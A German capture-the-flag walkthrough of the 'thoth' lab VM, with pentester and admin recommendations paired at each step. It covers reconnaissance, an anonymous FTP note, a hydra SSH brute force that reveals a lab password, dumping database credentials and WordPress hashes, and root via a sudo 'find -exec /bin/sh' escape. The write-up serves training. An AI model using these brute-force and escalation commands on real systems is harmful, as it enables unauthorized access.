Currently scanning: Finished! | Screen View: Unique Hosts 21 Captured ARP Req/Rep packets, from 6 hosts. Total size: 1260 _____________________________________________________________________________ IP At MAC Address Count Len MAC Vendor / Hostname ----------------------------------------------------------------------------- 192.168.2.124 08:00:27:14:3b:c4 2 120 PCS Systemtechnik GmbH
Analyse: Der Befehl `netdiscover -r 192.168.2.1/24` sucht im angegebenen IP-Bereich (192.168.2.1 bis 192.168.2.254) aktiv nach Hosts, indem er ARP-Anfragen sendet. Er listet die gefundenen IP-Adressen, MAC-Adressen und, wenn möglich, den Hersteller auf.
Bewertung: Ein Host wurde unter der IP 192.168.2.124 gefunden. Die MAC-Adresse (08:00:27:...) und der Hersteller "PCS Systemtechnik GmbH" identifizieren das Ziel eindeutig als VirtualBox-Maschine.
Empfehlung (Pentester): Die Ziel-IP 192.168.2.124 ist identifiziert und sollte für detailliertere Scans (Nmap) verwendet werden.
Empfehlung (Admin): Tools wie Netdiscover nutzen ARP-Anfragen, deren Sichtbarkeit durch Netzwerksegmentierung oder ARP-Filtering/Monitoring begrenzt werden kann.
# Folgender Eintrag wird zur lokalen /etc/hosts Datei hinzugefügt: 192.168.2.124 thoth.vuln
Analyse: Die lokale `/etc/hosts`-Datei wird mit `vi` bearbeitet, um der IP-Adresse 192.168.2.124 den Hostnamen `thoth.vuln` zuzuordnen.
Bewertung: Dies vereinfacht die Ansprache des Ziels über einen Namen anstelle der IP-Adresse, was besonders bei Webanwendungen nützlich sein kann.
Empfehlung (Pentester): Standardvorgehen zur Verbesserung der Handhabung während des Tests.
Empfehlung (Admin): Diese Änderung auf dem Angreifersystem hat keine Auswirkungen auf das Zielsystem.
21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
Analyse: Ein Nmap-Scan (`-sS -sC -T5 -AO -p-`) wird durchgeführt, um offene Ports, Dienste, Versionen und das OS auf 192.168.2.124 zu identifizieren. Die Ausgabe wird mit `grep open` gefiltert.
Bewertung: Die schnelle Übersicht zeigt drei offene Ports: 21 (FTP - vsftpd 3.0.3), 22 (SSH - OpenSSH 8.2p1) und 80 (HTTP - Apache 2.4.41).
Empfehlung (Pentester): Alle drei Dienste (FTP, SSH, HTTP) sind potenzielle Angriffsvektoren und sollten näher untersucht werden. Die vollständige Nmap-Ausgabe ist für weitere Details (insbesondere Skript-Ergebnisse) erforderlich.
Empfehlung (Admin): Stellen Sie sicher, dass alle laufenden Dienste notwendig, aktuell und sicher konfiguriert sind.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-05 16:52 CEST
Nmap scan report for thoth.vuln (192.168.2.124)
Host is up (0.000092s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 0 0 110 Jul 02 2021 note.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.2.113 # (Interessanterweise wird hier eine andere Client-IP angezeigt)
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 acd27b758067f29d95675299c82fab7b (RSA)
| 256 78ca8673b6870608eb7a9cabcf9d8916 (ECDSA)
|_ 256 9349d78c1c077e8e79912bbf2d0d346b (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.41 (Ubuntu)
MAC Address: 08:00:27:14:3B:C4 (Oracle VirtualBox virtual NIC)
Aggressive OS guesses: Linux 4.15 - 5.6 (99%), Linux 5.0 - 5.3 (98%), Linux 5.4 (97%), Linux 2.6.32 (96%), Li....
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.09 ms thoth.vuln (192.168.2.124)
Analyse: Die vollständige Ausgabe des vorherigen Nmap-Scans wird angezeigt.
Bewertung: Die detaillierte Ausgabe liefert entscheidende Informationen: * **FTP (Port 21):** Das NSE-Skript `ftp-anon` bestätigt, dass **anonymer FTP-Login erlaubt** ist. Im Root-Verzeichnis des FTP-Servers liegt eine Datei namens `note.txt`. Dies ist ein sehr wichtiger Fund. * **SSH (Port 22):** Zeigt die Host-Schlüssel. Version 8.2p1 ist relativ aktuell. * **HTTP (Port 80):** Standard Apache-Seite. Version 2.4.41 ist etwas veraltet. * **OS Detection:** Schätzt Linux Kernel 4.15 - 5.6.
Empfehlung (Pentester): Der anonyme FTP-Zugriff ist der primäre Angriffspunkt. Loggen Sie sich anonym per FTP ein und laden Sie die `note.txt`-Datei herunter. Analysieren Sie deren Inhalt auf Hinweise oder Zugangsdaten. Untersuchen Sie parallel den Webserver (Port 80) mit Nikto und Directory-Bruteforcing.
Empfehlung (Admin): Deaktivieren Sie *unbedingt* anonymen FTP-Zugriff, wenn er nicht explizit benötigt wird. Überprüfen Sie regelmäßig die Inhalte von FTP-Verzeichnissen auf sensible Daten. Halten Sie Apache und SSH aktuell.
Parallel zur Untersuchung des FTP-Servers wird der Webserver auf Port 80 enumeriert.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.124 + Target Hostname: 192.168.2.124 + Target Port: 80 + Start Time: 2023-06-05 16:52:08 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.41 (Ubuntu) + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + No CGI Directories found (use '-C all' to force check all possible dirs) + /: Server may leak inodes via ETags, header found with file /, inode: 2aa6, size: 5c5d81ce6522e, mtime: gzip. + Apache/2.4.41 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch. + OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD . + /wordpress/wp-content/plugins/akismet/readme.txt: The WordPress Akismet plugin 'Tested up to' version usually matches the WordPress version. + /wordpress/wp-links-opml.php: This WordPress script reveals the installed version. + RFC-1918 /wordpress/wp-admin/: IP address found in the 'location' header. The IP is "192.168.1.8". + /wordpress/wp-admin/: Uncommon header 'x-redirect-by' found, with contents: WordPress. + /test.php: This might be interesting. + /wordpress/wp-login.php?action=register: Cookie wordpress_test_cookie created without the httponly flag. + /wordpress/wp-content/uploads/: Directory indexing found. + /wordpress/wp-content/uploads/: Wordpress uploads directory is browsable. This may reveal sensitive information. + /wordpress/wp-login.php: Wordpress login found. + 8103 requests: 0 error(s) and 14 item(s) reported on remote host + End Time: 2023-06-05 16:52:32 (GMT2) (24 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: `nikto -h 192.168.2.124` scannt den Apache-Webserver auf Port 80.
Bewertung: Nikto findet mehrere relevante Punkte: * **Veralteter Apache (2.4.41).** * **Fehlende Security Header.** * **WordPress-Installation:** Unter `/wordpress/` wird eine WordPress-Seite gefunden. Nikto identifiziert das Login (`wp-login.php`), Versionshinweise (`wp-links-opml.php`), das Akismet-Plugin und einen browsbaren Upload-Ordner (`/wp-content/uploads/`). Die interne IP 192.168.1.8 im Location-Header bei `/wp-admin/` könnte auf eine interne Netzwerkkonfiguration hinweisen. * **`/test.php`:** Eine potenziell interessante PHP-Datei.
Empfehlung (Pentester): Untersuchen Sie `/test.php`. Enumerieren Sie die WordPress-Installation weiter (Benutzer, Plugins, Themes, Version) z.B. mit `wpscan`. Prüfen Sie den `/wp-content/uploads/` Ordner auf interessante Dateien. Der Fokus sollte aber zunächst auf der Analyse der `note.txt` aus dem FTP-Scan liegen.
Empfehlung (Admin): Halten Sie Apache und WordPress (inkl. Plugins/Themes) aktuell. Deaktivieren Sie Directory Indexing. Entfernen Sie unnötige Testdateien wie `test.php`. Implementieren Sie fehlende Security Header.
=============================================================== http://thoth.vuln/index.html (Status: 200) [Size: 10918] http://thoth.vuln/wordpress (Status: 301) [Size: 312] [--> http://thoth.vuln/wordpress/] http://thoth.vuln/test.php (Status: 200) [Size: 7] ===============================================================
Analyse: `gobuster` wird verwendet, um Verzeichnisse und Dateien auf `http://thoth.vuln` zu bruteforcen, unter Verwendung einer Medium-Wortliste und zahlreicher Dateiendungen.
Bewertung: Gobuster bestätigt die Funde `/index.html`, `/wordpress/` und `/test.php`. Die Datei `/test.php` hat eine sehr kleine Größe (7 Bytes), was auf wenig Inhalt hindeutet. Keine signifikanten neuen Entdeckungen.
Empfehlung (Pentester): Prüfen Sie den Inhalt von `/test.php` (z.B. mit `curl http://thoth.vuln/test.php`). Fahren Sie mit der Analyse der `note.txt` und der weiteren Enumeration von WordPress fort.
Empfehlung (Admin): Entfernen Sie unnötige Testdateien.
_|. _ _ _ _ _ _|_ v0.4.2 (_||| _) (/_(_|| (_| ) Extensions: php, txt, html, py, pub, js, wav, mp4, mp3, jpg | HTTP method: GET | Threads: 30 Wordlist size: 4715 [...] Target: http://thoth.vuln/ [17:26:51] Starting: [17:26:56] 200 - 11KB - /index.html [17:27:01] 403 - 275B - /server-status [17:27:04] 301 - 312B - /wordpress -> http://thoth.vuln/wordpress/ Task Completed
Analyse: `dirsearch` wird genutzt, um Verzeichnisse und Dateien auf `http://thoth.vuln` zu finden. Es verwendet eine andere Wortliste (`common.txt`) und spezifische Endungen.
Bewertung: Bestätigt `/index.html` und `/wordpress/`. Findet zusätzlich `/server-status` (Zugriff verboten - 403). Findet `/test.php` nicht, möglicherweise weil es nicht in `common.txt` enthalten ist.
Empfehlung (Pentester): Die Verwendung verschiedener Tools (gobuster, dirsearch, dirb) mit unterschiedlichen Wortlisten kann hilfreich sein, um eine breitere Abdeckung zu erzielen.
Empfehlung (Admin): Beschränken Sie den Zugriff auf `/server-status`.
_|. _ _ _ _ _ _|_ v0.4.2 (_||| _) (/_(_|| (_| ) [...] Target: http://thoth.vuln/wordpress/ [17:27:25] Starting: [17:27:30] 200 - 22KB - /wordpress/index.php [17:27:38] 301 - 321B - /wordpress/wp-admin -> http://thoth.vuln/wordpress/wp-admin/ [17:27:38] 301 - 323B - /wordpress/wp-content -> http://thoth.vuln/wordpress/wp-content/ [17:27:38] 301 - 324B - /wordpress/wp-includes -> http://thoth.vuln/wordpress/wp-includes/ [17:27:38] 405 - 42B - /wordpress/xmlrpc.php Task Completed
Analyse: `dirsearch` wird nun spezifisch auf das `/wordpress`-Verzeichnis angewendet.
Bewertung: Identifiziert die Standard-WordPress-Verzeichnisse (`wp-admin`, `wp-content`, `wp-includes`) und die `xmlrpc.php`-Datei (oft ein Ziel für Brute-Force oder DDoS, hier aber mit Status 405 - Method Not Allowed).
Empfehlung (Pentester): Konzentrieren Sie sich auf die Enumeration von `wp-content` (insbesondere `uploads`) und `wp-admin` (Login).
Empfehlung (Admin): Deaktivieren Sie `xmlrpc.php`, wenn es nicht benötigt wird.
----------------- DIRB v2.22 By The Dark Raver ----------------- [...] ---- Scanning URL: http://thoth.vuln/ ---- + http://thoth.vuln/index.html (CODE:200|SIZE:10918) + http://thoth.vuln/server-status (CODE:403|SIZE:275) ==> DIRECTORY: http://thoth.vuln/wordpress/ [...] ---- Entering directory: http://thoth.vuln/wordpress/wp-content/uploads/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) [...] ----------------- END_TIME: Mon Jun 5 17:30:09 2023 DOWNLOADED: 36896 - FOUND: 13
Analyse: `dirb` wird eingesetzt, um Verzeichnisse auf `http://thoth.vuln` zu finden.
Bewertung: Bestätigt die bisherigen Funde (`index.html`, `/server-status`, `/wordpress/`). Wichtig ist die erneute Bestätigung, dass `/wordpress/wp-content/uploads/` listbar ist (`Directory IS LISTABLE`).
Empfehlung (Pentester): Überprüfen Sie den Inhalt von `/wordpress/wp-content/uploads/` manuell im Browser.
Empfehlung (Admin): Deaktivieren Sie Directory Indexing.
Untersuchung des anonymen FTP-Zugangs.
--2023-06-05 16:53:28-- ftp://anonymous:*password*@192.168.2.124/
=> »192.168.2.124/.listing«
Verbindungsaufbau zu 192.168.2.124:21 … verbunden.
Anmelden als anonymous … Angemeldet!
==> SYST ... fertig. ==> PWD ... fertig.
==> TYPE I ... fertig. ==> CWD nicht notwendig.
==> PASV ... fertig. ==> LIST ... fertig.
# (...Rekursiver Download der Dateien, inkl. note.txt...)
Analyse: Der Befehl `wget -r ftp://anonymous:anonymous@192.168.2.124` versucht, rekursiv (`-r`) alle Dateien vom FTP-Server herunterzuladen, indem er sich anonym anmeldet.
Bewertung: Der anonyme Login funktioniert. `wget` lädt die auf dem FTP-Server vorhandene(n) Datei(en) herunter, insbesondere die zuvor von Nmap identifizierte `note.txt`.
Empfehlung (Pentester): Analysieren Sie die heruntergeladenen Dateien, insbesondere `note.txt`.
Empfehlung (Admin): Anonymen FTP-Zugriff deaktivieren.
Dear pwnlab, My name is jake. Your password is very weak and easily crackable, I think change your password.
Analyse: Der Inhalt der heruntergeladenen Datei `note.txt` wird angezeigt.
Bewertung: Kritischer Hinweis! Die Notiz richtet sich an einen Benutzer namens `pwnlab` und erwähnt dessen schwaches, leicht knackbares Passwort. Dies ist ein starker Hinweis darauf, dass ein Benutzer `pwnlab` auf dem System existiert und dass ein Brute-Force-Angriff gegen diesen Benutzer wahrscheinlich erfolgreich sein wird.
Empfehlung (Pentester): Versuchen Sie einen Passwort-Brute-Force-Angriff gegen den Benutzer `pwnlab` am SSH-Dienst (Port 22) mit einer gängigen Passwortliste wie `rockyou.txt`.
Empfehlung (Admin): Schulen Sie Benutzer darin, starke Passwörter zu verwenden und keine Hinweise auf Benutzernamen oder Passwortschwächen in allgemein zugänglichen Dateien zu hinterlassen.
Connected to 192.168.2.124. 220 (vsFTPd 3.0.3) Name (192.168.2.124:cyber): anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files.
local: war.txt remote: war.txt 229 Entering Extended Passive Mode (|||22508|) 550 Permission denied.
550 Failed to change directory.
Analyse: Es wird versucht, sich erneut anonym per FTP anzumelden und eine Datei (`war.txt`) hochzuladen sowie das Verzeichnis zu wechseln.
Bewertung: Bestätigt, dass der anonyme Benutzer keine Schreibrechte (`put ... 550 Permission denied`) hat und das Verzeichnis nicht wechseln kann (`cd /home ... 550 Failed to change directory`). Der FTP-Server bietet außer dem Lesen von `note.txt` keinen weiteren Angriffsvektor.
Empfehlung (Pentester): Fokussieren Sie sich auf den SSH-Brute-Force gegen `pwnlab`, basierend auf dem Hinweis in `note.txt`.
Empfehlung (Admin): Stellen Sie sicher, dass anonyme Benutzer keine Schreibrechte haben und auf ihr zugewiesenes Verzeichnis beschränkt sind.
Basierend auf dem Hinweis in `note.txt` wird ein Brute-Force-Angriff auf den SSH-Account `pwnlab` gestartet.
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak [...]
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-06-05 17:34:35
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[...]
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344400 login tries (l:1/p:14344400), ~224132 tries per task
[DATA] attacking ssh://thoth.vuln:22/
[22][ssh] host: thoth.vuln login: pwnlab password: babygirl1
1 of 1 target successfully completed, 1 valid password found
[...]
Analyse: Das Tool `hydra` wird verwendet, um einen Brute-Force-Angriff gegen den SSH-Dienst (`ssh://thoth.vuln:22`) durchzuführen. * `-l pwnlab`: Gibt den Zielbenutzernamen an. * `-P /usr/share/wordlists/rockyou.txt`: Gibt die zu verwendende Passwortliste an. * `-t 64`: Setzt die Anzahl der parallelen Versuche (Tasks) auf 64 (die Warnung empfiehlt einen niedrigeren Wert für SSH).
Bewertung: Erfolg! Hydra findet das korrekte Passwort für den Benutzer `pwnlab`: `babygirl1`. Dies bestätigt den Hinweis aus der `note.txt` und liefert die Zugangsdaten für den Initial Access.
Empfehlung (Pentester): Loggen Sie sich sofort mit den gefundenen Zugangsdaten (`pwnlab`:`babygirl1`) per SSH auf dem Zielsystem ein.
Empfehlung (Admin): Erzwingen Sie starke Passwörter und implementieren Sie Schutzmechanismen gegen Brute-Force-Angriffe wie Fail2Ban oder Account-Sperrungen. Verwenden Sie nach Möglichkeit SSH-Schlüsselauthentifizierung.
The authenticity of host 'thoth-tech (192.168.2.124)' can't be established.
ED25519 key fingerprint is SHA256:92r1ZGJ7wYMcpzTK4CtNCLO1ib7UJVa+pSM1K3y/guc.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'thoth-tech' (ED25519) to the list of known hosts.
pwnlab@thoth-tech's password: # (Eingabe: babygirl1)
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-150-generic x86_64)
[...]
Last login: Fri Jul 2 09:14:12 2021 from 192.168.1.11
Analyse: Es wird versucht, sich per SSH als Benutzer `pwnlab` am Zielsystem anzumelden (hier wird der Hostname `thoth-tech` verwendet, der wahrscheinlich der NetBIOS/System-Hostname ist). Nach Bestätigung des Host-Schlüssels wird das mit Hydra gefundene Passwort `babygirl1` eingegeben.
Bewertung: Der Login ist erfolgreich. Der Pentester hat nun Shell-Zugriff als Benutzer `pwnlab`. Der Initial Access ist abgeschlossen.
Empfehlung (Pentester): Beginnen Sie mit der Enumeration für die Privilegieneskalation. Führen Sie `id` und `sudo -l` aus, prüfen Sie die Umgebung, suchen Sie nach interessanten Dateien und Konfigurationen.
Empfehlung (Admin): Überwachen Sie SSH-Logins auf verdächtige Aktivitäten. Erzwingen Sie starke Passwörter.
uid=1001(pwnlab) gid=1001(pwnlab) groups=1001(pwnlab)
Matching Defaults entries for pwnlab on thothtech: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User pwnlab may run the following commands on thothtech: (root) NOPASSWD: /usr/bin/find
Analyse: Der `id`-Befehl bestätigt die Benutzer- und Gruppen-IDs. Der Befehl `sudo -l` listet die `sudo`-Berechtigungen für den Benutzer `pwnlab` auf.
Bewertung: Kritischer Fund für Privilegieneskalation! Der Benutzer `pwnlab` darf den Befehl `/usr/bin/find` als `root` und **ohne Passwort** (`NOPASSWD`) ausführen. Der `find`-Befehl verfügt über die Option `-exec`, mit der beliebige andere Befehle ausgeführt werden können.
Empfehlung (Pentester): Nutzen Sie diese `sudo`-Regel sofort aus, um Root-Rechte zu erlangen. Suchen Sie auf GTFOBins nach der Methode für `find` mit `sudo`. Der übliche Befehl ist `sudo find . -exec /bin/sh \; -quit` (oder eine Variation davon).
Empfehlung (Admin): Gewähren Sie `sudo`-Rechte äußerst restriktiv. Vermeiden Sie die Vergabe von Rechten für Befehle, die Shell-Escapes oder die Ausführung anderer Befehle ermöglichen (wie `find`, Editoren, Interpreter usw.), insbesondere mit `NOPASSWD`. Überprüfen Sie alle `sudo`-Regeln sorgfältig.
/snap/core20/1891/usr/bin/ping = cap_net_raw+ep /usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep /usr/bin/traceroute6.iputils = cap_net_raw+ep /usr/bin/mtr-packet = cap_net_raw+ep /usr/bin/ping = cap_net_raw+ep
Linux thothtech 5.4.0-150-generic #167-Ubuntu SMP Mon May 15 17:35:05 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
Analyse: * `getcap -r / 2>/dev/null`: Sucht nach Dateien mit gesetzten Linux Capabilities. * `uname -a`: Zeigt detaillierte Kernel- und Systeminformationen an.
Bewertung: `getcap` findet nur Standard-Capabilities für Netzwerk-Tools (`ping`, `traceroute`, `mtr`, `gst-ptp-helper`), die normalerweise keine direkten Eskalationspfade bieten. `uname -a` zeigt eine relativ aktuelle Kernel-Version (5.4.0-150 vom Mai 2023), was Kernel-Exploits unwahrscheinlich macht. Dies bestärkt die Annahme, dass der `sudo find`-Weg der vorgesehene Eskalationspfad ist.
Empfehlung (Pentester): Ignorieren Sie Capabilities und Kernel-Exploits vorerst und konzentrieren Sie sich auf die Ausnutzung der `sudo find`-Berechtigung.
Empfehlung (Admin): Halten Sie den Kernel aktuell. Vergeben Sie Capabilities nur, wenn unbedingt nötig.
total 32 drwxr-xr-x 3 pwnlab pwnlab 4096 Jul 2 2021 . drwxr-xr-x 4 root root 4096 Jun 29 2021 .. -rw-rw-r-- 1 pwnlab pwnlab 107 Jul 2 2021 .bash_history -rw-r--r-- 1 pwnlab pwnlab 220 Feb 25 2020 .bash_logout -rw-r--r-- 1 pwnlab pwnlab 3771 Feb 25 2020 .bashrc drwx------ 2 pwnlab pwnlab 4096 Jul 2 2021 .cache -rw-r--r-- 1 pwnlab pwnlab 807 Feb 25 2020 .profile -rw-r--r-- 1 root root 33 Jul 2 2021 user.txt
cd root/
sudo nano /etc/vsftpd.conf
sudo su
su thoth_tech
ls
id
sudo -l
sudo find . -exec /bin/sh \; -quit # Wichtiger Hinweis!
5ec2a44a73e7b259c6b0abc174291359
Analyse: Der Inhalt des Home-Verzeichnisses von `pwnlab` wird aufgelistet. Die `.bash_history` und die `user.txt`-Datei werden angezeigt. * `ls -la`: Zeigt die Dateien im Home-Verzeichnis. Die `user.txt` gehört `root`, ist aber für `pwnlab` lesbar (`-rw-r--r--`). * `cat .bash_history`: Zeigt die Befehlshistorie des Benutzers. Sie enthält den exakten Befehl `sudo find . -exec /bin/sh \; -quit`, der zur Privilegieneskalation verwendet werden kann. * `cat user.txt`: Gibt die User-Flag aus.
Bewertung: Die User-Flag (`5ec2a44a73e7b259c6b0abc174291359`) wurde gefunden und ist lesbar. Die `.bash_history` bestätigt den Eskalationsweg über `sudo find` und liefert den genauen Befehl.
Empfehlung (Pentester): Die User-Flag ist gesichert. Führen Sie den Befehl `sudo find . -exec /bin/sh \; -quit` aus, um eine Root-Shell zu erhalten.
Empfehlung (Admin): Stellen Sie sicher, dass sensible Flags oder Dateien die korrekten Berechtigungen haben (obwohl die User-Flag hier absichtlich lesbar sein könnte). Die Bash-History kann sensible Informationen enthalten; Benutzer sollten geschult werden, Passwörter nicht in Befehlen zu verwenden.
define( 'DB_NAME', 'wordpress' );
/** MySQL database username */
define( 'DB_USER', 'thoth_tech' );
/** MySQL database password */
define( 'DB_PASSWORD', 'thoth_tech222' );
Analyse: Der Benutzer wechselt in das WordPress-Verzeichnis (`/var/www/html/wordpress`) und liest erneut die `wp-config.php`-Datei aus.
Bewertung: Bestätigt die Datenbank-Zugangsdaten: Benutzer `thoth_tech`, Passwort `thoth_tech222`. Dies sind andere Zugangsdaten als die, die zuvor für den Benutzer `support` in der Datenbank gefunden wurden.
Empfehlung (Pentester): Diese Zugangsdaten könnten nützlich sein, falls der `sudo find`-Weg nicht funktioniert oder wenn man den Datenbankbenutzer `thoth_tech` für andere Zwecke nutzen möchte (z.B. Passwort-Wiederverwendung prüfen).
Empfehlung (Admin): Sichern Sie die `wp-config.php`-Datei mit restriktiven Berechtigungen.
Enter password: # (Eingabe: thoth_tech222)
Welcome to the MariaDB monitor. [...]
+--------------------+ | Database | +--------------------+ | information_schema | | wordpress | +--------------------+
Database changed
+-----------------------+ | Tables_in_wordpress | +-----------------------+ | wp_commentmeta | | wp_comments | | wp_links | | wp_options | | wp_postmeta | | wp_posts | | wp_term_relationships | | wp_term_taxonomy | | wp_termmeta | | wp_terms | | wp_usermeta | | wp_users | +-----------------------+
+----+------------+------------------------------------+---------------+--------------------+------------------------------+---------------------+-----------------------------------------------+-------------+--------------+ | ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key | user_status | display_name | +----+------------+------------------------------------+---------------+--------------------+------------------------------+---------------------+-----------------------------------------------+-------------+--------------+ | 1 | thoth_tech | $P$B.p9jTsW7iDJcihTlayPlTxoeOFYnS. | thoth_tech | empyt@google.com | http://192.168.1.8/wordpress | 2021-06-28 19:16:38 | | 0 | thoth_tech | | 2 | pwnlab | $P$B.lwg.HblpsLDPJ1YrlguOjw5e3c3j1 | pwnlab | pwnlab@hotmail.com | | 2021-07-02 08:53:33 | 1625216013:$P$BJpy7q6Rva5Jy/t8WHu22Zm72YkRkl. | 0 | pwnlab | +----+------------+------------------------------------+---------------+--------------------+------------------------------+---------------------+-----------------------------------------------+-------------+--------------+
Analyse: Mit den Zugangsdaten aus `wp-config.php` wird sich an der MariaDB-Datenbank angemeldet. Die `wordpress`-Datenbank wird ausgewählt und die `wp_users`-Tabelle abgefragt.
Bewertung: Der Datenbankzugriff ist erfolgreich. Die Tabelle zeigt zwei WordPress-Benutzer: `thoth_tech` und `pwnlab`, beide mit ihren gehashten Passwörtern (phpass/MD5-Format). Dies bestätigt die Existenz dieser WordPress-Konten, liefert aber keine direkten Klartextpasswörter für die Systemanmeldung.
Empfehlung (Pentester): Sie können versuchen, die WordPress-Hashes offline zu knacken, aber der Fokus sollte weiterhin auf der `sudo find`-Eskalation liegen. Die Datenbankinformationen sind für den aktuellen Eskalationspfad weniger relevant.
Empfehlung (Admin): Verwenden Sie starke, einzigartige Passwörter für Datenbankbenutzer und WordPress-Administratoren. Sichern Sie die Datenbank und die `wp-config.php` ab.
1262 51 -rwsr-xr-- 1 root systemd-resolve 51344 Oct 25 2022 /snap/core20/1891/usr/lib/dbus-1.0/dbus-daemon-launch-helper 1634 463 -rwsr-xr-x 1 root root 473576 Mar 30 2022 /snap/core20/1891/usr/lib/openssh/ssh-keysign 1056339 52 -rwsr-xr-- 1 root messagebus 51344 Oct 25 2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 1065488 464 -rwsr-xr-x 1 root root 473576 Mar 9 2021 /usr/lib/openssh/ssh-keysign 1054505 24 -rwsr-xr-x 1 root root 22840 Feb 21 2022 /usr/lib/policykit-1/polkit-agent-helper-1 1049936 16 -rwsr-xr-x 1 root root 14488 Jul 8 2019 /usr/lib/eject/dmcrypt-get-device 1049712 144 -rwsr-xr-x 1 root root 146888 May 29 12:09 /usr/lib/snapd/snap-confine 1059351 52 -rwsr-xr-x 1 root root 53040 Nov 29 2022 /usr/bin/chsh 1059353 88 -rwsr-xr-x 1 root root 88464 Nov 29 2022 /usr/bin/gpasswd 1049409 164 -rwsr-xr-x 1 root root 166056 Apr 4 11:56 /usr/bin/sudo 1050573 56 -rwsr-xr-x 1 root root 55528 Feb 7 2022 /usr/bin/mount 1059354 68 -rwsr-xr-x 1 root root 68208 Nov 29 2022 /usr/bin/passwd 1050577 40 -rwsr-xr-x 1 root root 39144 Feb 7 2022 /usr/bin/umount 1054503 32 -rwsr-xr-x 1 root root 31032 Feb 21 2022 /usr/bin/pkexec 1056467 84 -rwsr-xr-x 1 root root 85064 Nov 29 2022 /usr/bin/chfn 1049049 56 -rwsr-sr-x 1 daemon daemon 55560 Nov 12 2018 /usr/bin/at 1049394 44 -rwsr-xr-x 1 root root 44784 May 28 2020 /usr/bin/newgrp 1049652 68 -rwsr-xr-x 1 root root 67816 Jul 21 2020 /usr/bin/su 1049228 40 -rwsr-xr-x 1 root root 39144 Mar 7 2020 /usr/bin/fusermount
Analyse: Der Befehl `find / -type f -perm -4000 -ls 2>/dev/null` sucht erneut nach SUID-Dateien.
Bewertung: Die Liste der SUID-Dateien wird angezeigt. Sie enthält Standard-Binaries. Da der `sudo find`-Weg bereits bekannt ist, ist diese Liste für die Eskalation nicht mehr primär relevant, dient aber der Vollständigkeit der Enumeration.
Empfehlung (Pentester): Konzentrieren Sie sich auf die Ausnutzung der bekannten `sudo find`-Berechtigung.
Empfehlung (Admin): Entfernen Sie unnötige SUID-Bits und halten Sie SUID-Programme aktuell.
Die durch `sudo -l` identifizierte Berechtigung, `/usr/bin/find` als Root ohne Passwort auszuführen, wird nun ausgenutzt, um Root-Rechte zu erlangen. Der spezifische Befehl wurde auch in der `.bash_history` gefunden.
GTFOBins Referenz für sudo + finduid=0(root) gid=0(root) groups=0(root)
Root flag: d51546d5bcf8e3856c7bff5d201f0df6
good job :)
Analyse: Der Befehl `sudo find /home -exec /bin/sh \; -quit` wird ausgeführt. * `sudo`: Führt den Befehl mit Root-Rechten aus (da `NOPASSWD` für `find` gesetzt ist). * `find /home`: Startet den `find`-Befehl (der Suchpfad `/home` ist hier beliebig, `.` würde auch funktionieren). * `-exec /bin/sh \;`: Die entscheidende Option. Für jede gefundene Datei (hier wird nur eine benötigt) führt `find` den Befehl `/bin/sh` aus, was eine neue Shell startet. * `-quit`: Beendet `find` sofort nach der Ausführung des ersten `-exec`-Befehls. Die resultierende Shell (`/bin/sh`) läuft mit den Rechten des `find`-Prozesses, also als `root`.
Bewertung: Erfolg! Die Privilegieneskalation war erfolgreich. Der `id`-Befehl bestätigt `uid=0(root)`. Anschließend wird die Root-Flag aus `/root/root.txt` gelesen.
Empfehlung (Pentester): Ziel erreicht. Root- und User-Flags sind gesichert. Dokumentieren Sie den Eskalationsweg über `sudo find`.
Empfehlung (Admin): Entfernen Sie *dringend* die unsichere `sudo`-Regel für `/usr/bin/find`. Überprüfen Sie alle `sudo`-Konfigurationen auf ähnliche Schwachstellen.